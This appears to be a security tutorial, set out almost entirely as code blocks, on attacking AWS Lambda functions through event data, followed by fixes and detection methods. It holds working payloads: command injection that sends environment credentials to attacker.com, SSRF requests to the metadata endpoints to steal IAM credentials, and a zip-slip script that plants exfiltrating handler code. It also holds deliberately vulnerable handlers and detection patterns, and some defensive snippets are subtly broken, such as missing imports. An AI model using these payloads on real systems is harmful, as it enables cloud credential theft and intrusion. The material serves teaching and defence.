Serverless Injection: Attacking Lambda Functions Through Event Data

 1import subprocess
 2import json
 3import boto3
 4
 5def handler(event, context):
 6    """
 7    VULNERABLE: Processes image files using ImageMagick.
 8    Event from API Gateway includes the filename.
 9    """
10    # Attacker controls this value via API Gateway query parameter
11    filename = event['queryStringParameters']['file']
12
13    # DANGEROUS: filename is passed directly to shell command
14    result = subprocess.run(
15        f"convert /tmp/{filename} -resize 800x600 /tmp/resized_{filename}",
16        shell=True,
17        capture_output=True,
18        text=True
19    )
20
21    return {
22        'statusCode': 200,
23        'body': json.dumps({'output': result.stdout, 'error': result.stderr})
24    }

 1# Attacker sends a crafted filename to the API Gateway endpoint
 2# The filename contains a command injection payload
 3
 4# Basic injection: list /tmp contents
 5curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg;ls%20/tmp"
 6
 7# Read Lambda environment variables (contains AWS credentials via env vars)
 8curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg;env"
 9# Response includes: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
10
11# Exfiltrate environment (credentials) to attacker server
12curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg%3Bcurl%20-X%20POST%20https%3A%2F%2Fattacker.com%2Fexfil%20-d%20\$(env|base64)"
13
14# Read the Lambda function source code
15curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg;cat%20/var/task/handler.py"

 1import subprocess
 2import json
 3import re
 4import os
 5
 6ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.webp'}
 7FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9_\-]+\.(jpg|jpeg|png|webp)$')
 8
 9
10def handler(event, context):
11    """
12    FIXED: Validates filename before use and uses argument list instead of shell=True.
13    """
14    filename = event.get('queryStringParameters', {}).get('file', '')
15
16    # Strict validation: only allow safe filenames
17    if not FILENAME_PATTERN.match(filename):
18        return {
19            'statusCode': 400,
20            'body': json.dumps({'error': 'Invalid filename'})
21        }
22
23    # Validate extension
24    _, ext = os.path.splitext(filename)
25    if ext.lower() not in ALLOWED_EXTENSIONS:
26        return {
27            'statusCode': 400,
28            'body': json.dumps({'error': 'Unsupported file type'})
29        }
30
31    input_path = f"/tmp/{filename}"
32    output_path = f"/tmp/resized_{filename}"
33
34    # SAFE: argument list, no shell=True, no string interpolation
35    result = subprocess.run(
36        ["convert", input_path, "-resize", "800x600", output_path],
37        capture_output=True,
38        text=True,
39        timeout=30
40    )
41
42    if result.returncode != 0:
43        return {
44            'statusCode': 500,
45            'body': json.dumps({'error': 'Processing failed'})
46        }
47
48    return {
49        'statusCode': 200,
50        'body': json.dumps({'output': output_path})
51    }

 1import urllib.request
 2import json
 3
 4
 5def handler(event, context):
 6    """
 7    VULNERABLE: Fetches a URL provided in the event data (URL previewer).
 8    Event source: API Gateway.
 9    """
10    # Attacker controls this URL
11    url = event['queryStringParameters']['url']
12
13    # DANGEROUS: no URL validation or SSRF protection
14    with urllib.request.urlopen(url, timeout=10) as response:
15        content = response.read().decode('utf-8')
16
17    return {
18        'statusCode': 200,
19        'body': json.dumps({'preview': content[:500]})
20    }

 1# Step 1: Redirect the function to fetch its own IAM credentials
 2# Lambda execution role credentials are at the IMDS endpoint
 3
 4# IMDSv1 (if still allowed): single-request credential theft
 5curl "https://api.execute-api.us-east-1.amazonaws.com/prod/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
 6# Response: {"preview": "my-lambda-execution-role"}
 7
 8# Fetch the actual credentials
 9curl "https://api.execute-api.us-east-1.amazonaws.com/prod/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-lambda-execution-role"
10# Response: {"preview": "{\"AccessKeyId\": \"ASIA...\", \"SecretAccessKey\": \"...\", \"Token\": \"...\"}"}
11
12# Step 2: Lambda also has a dedicated credential endpoint
13curl "https://api.execute-api.us-east-1.amazonaws.com/prod/preview?url=http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
14# This provides temporary credentials for the execution role
15
16# Step 3: With stolen credentials, attacker can call AWS APIs
17export AWS_ACCESS_KEY_ID="ASIA..."
18export AWS_SECRET_ACCESS_KEY="..."
19export AWS_SESSION_TOKEN="..."
20aws sts get-caller-identity
21aws s3 ls  # List all buckets accessible to the Lambda's execution role

 1def handler(event, context):
 2    """
 3    VULNERABLE: Lambda triggered by S3 upload, fetches a URL from the uploaded JSON file.
 4    The attacker uploads a malicious JSON file to S3 to trigger the SSRF.
 5    """
 6    s3 = boto3.client('s3')
 7
 8    # Get the uploaded file details from S3 event
 9    bucket = event['Records'][0]['s3']['bucket']['name']
10    key = event['Records'][0]['s3']['object']['key']
11
12    # Download and parse the uploaded file
13    response = s3.get_object(Bucket=bucket, Key=key)
14    data = json.loads(response['Body'].read())
15
16    # DANGEROUS: URL from the uploaded file is fetched without validation
17    callback_url = data['callback_url']
18    urllib.request.urlopen(callback_url)  # SSRF via uploaded file content

1{
2  "callback_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
3  "data": "legitimate looking content"
4}

 1import boto3
 2import json
 3
 4
 5def handler(event, context):
 6    """
 7    VULNERABLE: Processes DynamoDB Stream records and queries RDS.
 8    """
 9    import pymysql
10
11    conn = pymysql.connect(
12        host='rds.internal',
13        user='app',
14        password='dbpass',
15        database='appdb'
16    )
17
18    for record in event['Records']:
19        if record['eventName'] == 'INSERT':
20            # DANGEROUS: DynamoDB record content used directly in SQL
21            user_id = record['dynamodb']['NewImage']['userId']['S']
22
23            # SQL injection via DynamoDB record content
24            cursor = conn.cursor()
25            cursor.execute(f"SELECT * FROM users WHERE id = '{user_id}'")

1# SAFE: parameterized query
2cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

 1import zipfile
 2import os
 3import boto3
 4
 5
 6def handler(event, context):
 7    """
 8    VULNERABLE: Extracts uploaded ZIP files from S3 to /tmp.
 9    """
10    s3 = boto3.client('s3')
11    bucket = event['Records'][0]['s3']['bucket']['name']
12    key = event['Records'][0]['s3']['object']['key']
13
14    # Download ZIP to /tmp
15    local_zip = '/tmp/upload.zip'
16    s3.download_file(bucket, key, local_zip)
17
18    # DANGEROUS: no path validation before extraction
19    with zipfile.ZipFile(local_zip) as zf:
20        zf.extractall('/tmp/extracted/')  # Path traversal possible

 1import zipfile
 2
 3# Create a malicious ZIP that writes outside the target directory
 4with zipfile.ZipFile('malicious.zip', 'w') as zf:
 5    # Path traversal — writes to /tmp/../../var/task/handler.py
 6    # In Lambda, /var/task contains the function code
 7    zf.writestr('../../var/task/handler.py', '''
 8import subprocess
 9def handler(event, context):
10    # Attacker-controlled function code now executes
11    result = subprocess.run(['env'], capture_output=True, text=True)
12    # Exfiltrate to attacker server
13    import urllib.request
14    urllib.request.urlopen(f"https://attacker.com/exfil?data={result.stdout}")
15    return {"statusCode": 200}
16''')

 1import zipfile
 2import os
 3
 4
 5def safe_extract(zip_path: str, extract_path: str):
 6    """Extract ZIP with path traversal protection."""
 7    with zipfile.ZipFile(zip_path) as zf:
 8        for member in zf.infolist():
 9            # Resolve and validate the target path
10            target = os.path.realpath(os.path.join(extract_path, member.filename))
11
12            # Ensure the target is within our extraction directory
13            if not target.startswith(os.path.realpath(extract_path)):
14                raise ValueError(f"Zip slip detected: {member.filename}")
15
16            zf.extract(member, extract_path)

 1import boto3
 2import json
 3import re
 4
 5def check_lambda_logs_for_injection(function_name: str, hours: int = 24):
 6    """
 7    Scan Lambda CloudWatch Logs for injection indicators.
 8    """
 9    logs = boto3.client('logs')
10
11    # Indicators of command injection attempts in logs
12    injection_patterns = [
13        r'/etc/passwd',
14        r'/etc/shadow',
15        r'169\.254\.169\.254',  # IMDS access
16        r'169\.254\.170\.2',    # Lambda credential endpoint
17        r'curl\s+http',
18        r'wget\s+http',
19        r'base64\s+-d',
20        r'\$\(.*\)',             # Command substitution
21        r'subprocess\.run',     # Unexpected subprocess in output
22    ]
23
24    log_group = f'/aws/lambda/{function_name}'
25
26    # Query recent log events
27    query = f"""
28    fields @timestamp, @message
29    | filter @message like /({"|".join(injection_patterns[:3])})/
30    | sort @timestamp desc
31    | limit 100
32    """
33
34    cw_logs = boto3.client('logs')
35    response = cw_logs.start_query(
36        logGroupName=log_group,
37        startTime=int((datetime.utcnow() - timedelta(hours=hours)).timestamp()),
38        endTime=int(datetime.utcnow().timestamp()),
39        queryString=query
40    )
41
42    query_id = response['queryId']
43    return query_id

 1# Query VPC Flow Logs for Lambda ENIs making unexpected outbound connections
 2# Lambda in a VPC creates Elastic Network Interfaces
 3aws ec2 describe-network-interfaces \
 4  --filters "Name=description,Values=AWS Lambda VPC ENI*" \
 5  --query 'NetworkInterfaces[*].{ENI:NetworkInterfaceId,IP:PrivateIpAddress,Function:Description}' \
 6  --output table
 7
 8# In Athena, query Flow Logs for outbound connections from Lambda ENIs
 9# to unexpected destinations
10SELECT
11    srcaddr,
12    dstaddr,
13    dstport,
14    action,
15    start,
16    end
17FROM vpc_flow_logs
18WHERE
19    srcaddr IN (
20        -- Lambda ENI private IPs from above query
21        '10.0.1.45', '10.0.2.67'
22    )
23    AND dstaddr NOT IN (
24        -- Expected destinations (RDS, S3 endpoints, etc.)
25        '10.0.0.0/8'
26    )
27    AND action = 'ACCEPT'
28ORDER BY start DESC;

 1# GuardDuty Runtime Monitoring for Lambda (requires agent)
 2aws guardduty list-findings \
 3  --detector-id $(aws guardduty list-detectors --query DetectorIds[0] --output text) \
 4  --finding-criteria '{
 5    "Criterion": {
 6      "resource.resourceType": {"Eq": ["Lambda"]},
 7      "service.archived": {"Eq": ["false"]}
 8    }
 9  }'
10
11# Key finding types for Lambda:
12# Execution:Lambda/SuspiciousUserAgent
13# Execution:Lambda/AnomalousBehavior
14# CredentialAccess:Lambda/AnomalousBehavior

 1import re
 2import ipaddress
 3from urllib.parse import urlparse
 4
 5
 6class InputValidator:
 7    """Centralized input validation for Lambda event data."""
 8
 9    # Blocked IP ranges for SSRF prevention
10    BLOCKED_NETWORKS = [
11        ipaddress.ip_network('169.254.0.0/16'),   # IMDS / link-local
12        ipaddress.ip_network('10.0.0.0/8'),        # Private RFC1918
13        ipaddress.ip_network('172.16.0.0/12'),     # Private RFC1918
14        ipaddress.ip_network('192.168.0.0/16'),    # Private RFC1918
15        ipaddress.ip_network('127.0.0.0/8'),       # Loopback
16        ipaddress.ip_network('::1/128'),            # IPv6 loopback
17        ipaddress.ip_network('fd00::/8'),           # IPv6 ULA
18    ]
19
20    @staticmethod
21    def validate_url(url: str, allowed_schemes: set = None) -> str:
22        """Validate URL is safe to fetch (SSRF prevention)."""
23        if allowed_schemes is None:
24            allowed_schemes = {'https'}
25
26        parsed = urlparse(url)
27
28        # Only allow specified schemes
29        if parsed.scheme not in allowed_schemes:
30            raise ValueError(f"Disallowed URL scheme: {parsed.scheme}")
31
32        # Resolve hostname and check against blocked networks
33        import socket
34        try:
35            ip_str = socket.gethostbyname(parsed.hostname)
36            ip = ipaddress.ip_address(ip_str)
37        except (socket.gaierror, ValueError):
38            raise ValueError(f"Cannot resolve hostname: {parsed.hostname}")
39
40        for blocked in InputValidator.BLOCKED_NETWORKS:
41            if ip in blocked:
42                raise ValueError(f"URL resolves to blocked IP range: {ip}")
43
44        return url
45
46    @staticmethod
47    def sanitize_filename(filename: str) -> str:
48        """Validate and sanitize filenames (path traversal prevention)."""
49        # Allow only alphanumeric, dash, underscore, and single extension
50        if not re.match(r'^[a-zA-Z0-9_\-]{1,100}\.[a-zA-Z]{2,5}$', filename):
51            raise ValueError(f"Invalid filename: {filename}")
52
53        # Prevent directory traversal
54        if '..' in filename or '/' in filename or '\\' in filename:
55            raise ValueError("Directory traversal attempt")
56
57        return filename

 1{
 2  "Version": "2012-10-17",
 3  "Statement": [
 4    {
 5      "Sid": "S3ReadSpecificBucket",
 6      "Effect": "Allow",
 7      "Action": ["s3:GetObject"],
 8      "Resource": "arn:aws:s3:::my-input-bucket/*"
 9    },
10    {
11      "Sid": "S3WriteSpecificBucket",
12      "Effect": "Allow",
13      "Action": ["s3:PutObject"],
14      "Resource": "arn:aws:s3:::my-output-bucket/processed/*"
15    },
16    {
17      "Sid": "CloudWatchLogs",
18      "Effect": "Allow",
19      "Action": [
20        "logs:CreateLogGroup",
21        "logs:CreateLogStream",
22        "logs:PutLogEvents"
23      ],
24      "Resource": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/my-function:*"
25    }
26  ]
27}

 1# Deploy Lambda in VPC without Internet Gateway
 2# This prevents SSRF callbacks to external attacker servers
 3
 4aws lambda update-function-configuration \
 5  --function-name my-function \
 6  --vpc-config SubnetIds=subnet-private1,subnet-private2,SecurityGroupIds=sg-lambda-restricted
 7
 8# For direct IMDSv2 enforcement on Lambda (applied via AWS CLI)
 9# Lambda functions automatically use container credential providers
10# but configure instance-level IMDSv2 if function runs on EC2
11
12# Require IMDSv2 at the EC2 level (for Lambda@Edge or container-based functions)
13aws ec2 modify-instance-metadata-options \
14  --instance-id i-xxx \
15  --http-tokens required \
16  --http-put-response-hop-limit 1

 1# Set aggressive timeout to limit abuse window
 2aws lambda update-function-configuration \
 3  --function-name my-function \
 4  --timeout 30  # Maximum 30 seconds, not the 900-second maximum
 5
 6# Set reserved concurrency to limit blast radius of ReDoS / billing attacks
 7aws lambda put-function-concurrency \
 8  --function-name my-function \
 9  --reserved-concurrent-executions 10
10
11# Enable Lambda Insights for enhanced monitoring
12aws lambda update-function-configuration \
13  --function-name my-function \
14  --layers arn:aws:lambda:us-east-1:580247275435:layer:LambdaInsightsExtension:38

 1import boto3
 2import json
 3from functools import lru_cache
 4
 5
 6@lru_cache(maxsize=None)
 7def get_secret(secret_name: str) -> dict:
 8    """
 9    Retrieve secret from Secrets Manager with in-memory caching.
10    Caching prevents hitting Secrets Manager API on every invocation.
11    """
12    client = boto3.client('secretsmanager')
13    response = client.get_secret_value(SecretId=secret_name)
14    return json.loads(response['SecretString'])
15
16
17def handler(event, context):
18    # Credentials never in environment variables — fetched from Secrets Manager
19    db_creds = get_secret('prod/myapp/db')
20    api_key = get_secret('prod/myapp/external-api')['key']
21
22    # Use credentials
23    conn = connect_to_db(
24        host=db_creds['host'],
25        user=db_creds['username'],
26        password=db_creds['password']
27    )